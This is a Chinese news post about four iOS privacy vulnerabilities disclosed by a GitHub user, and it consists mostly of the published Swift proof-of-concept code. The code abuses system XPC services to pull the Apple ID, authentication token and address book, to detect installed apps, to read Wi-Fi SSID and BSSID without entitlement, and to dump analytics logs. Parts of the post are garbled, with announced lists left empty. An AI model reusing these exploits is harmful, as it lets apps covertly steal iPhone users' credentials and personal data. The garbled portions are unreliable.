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研究人员发现3个iOS 0 day漏洞PoC代码。
GitHub用户illusionofchaos在GitHub上发布了4个iOS 安全漏洞的PoC代码,其中包含3个0 day漏洞和1个已修复的安全漏洞。这4个漏洞分别是:
从APP store中按住那个的应用可以在用户不知情的情况下访问以下信息:
PoC代码如下:
- let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
 - let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
 - let pid = ProcessInfo.processInfo.processIdentifier
 - proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
 - accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
 - let appleID = response.credential.accountName
 - let token = response.credential.authenticationToken
 - }
 - utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
 - let addressBookData = data
 - }
 - }
 
该漏洞允许任何用户安装的APP来确定设备上安装的APP是否是给定的bundle ID。XPC终端com.apple.nehelper 有一个访问APP的方法可以接受bundle ID作为参数,并返回含有缓存UUID的数组,缓存的UUID可以用来与设备上安装的应用的bundle ID进行配对。具体参见/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :
- func isAppInstalled(bundleId: String) -> Bool {
 - let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
 - xpc_connection_set_event_handler(connection, { _ in })
 - xpc_connection_resume(connection)
 - let xdict = xpc_dictionary_create(nil, nil, 0)
 - xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
 - xpc_dictionary_set_uint64(xdict, "cache-command", 3)
 - xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
 - let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
 - if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
 - return true
 - }
 - return false
 - }
 
XPC终端com.apple.nehelper会接收用户提供的参数sdk-version,如果该值小于后等于524288,com.apple.developer.networking.wifi-info entiltlement就会跳过。这使得任何符合条件的APP都可以在无需entiltlement的情况下获取WiFi信息。
- func wifi_info() -> String? {
 - let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
 - xpc_connection_set_event_handler(connection, { _ in })
 - xpc_connection_resume(connection)
 - let xdict = xpc_dictionary_create(nil, nil, 0)
 - xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
 - xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
 - xpc_dictionary_set_string(xdict, "interface-name", "en0")
 - let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
 - if let result = xpc_dictionary_get_value(reply, "result-data") {
 - let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
 - let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
 - return "SSID: \(ssid)\nBSSID: \(bssid)"
 - } else {
 - return nil
 - }
 - }
 
该漏洞允许任意用户安装的APP访问分析日志。这些日志中含有以下信息:
- func analytics_json() -> String? {
 - let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
 - xpc_connection_set_event_handler(connection, { _ in })
 - xpc_connection_resume(connection)
 - let xdict = xpc_dictionary_create(nil, nil, 0)
 - xpc_dictionary_set_string(xdict, "command", "log-dump");
 - let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
 - return xpc_dictionary_get_string(reply, "log-dump");
 - }
 
更多参见:https://habr.com/ru/post/579714/
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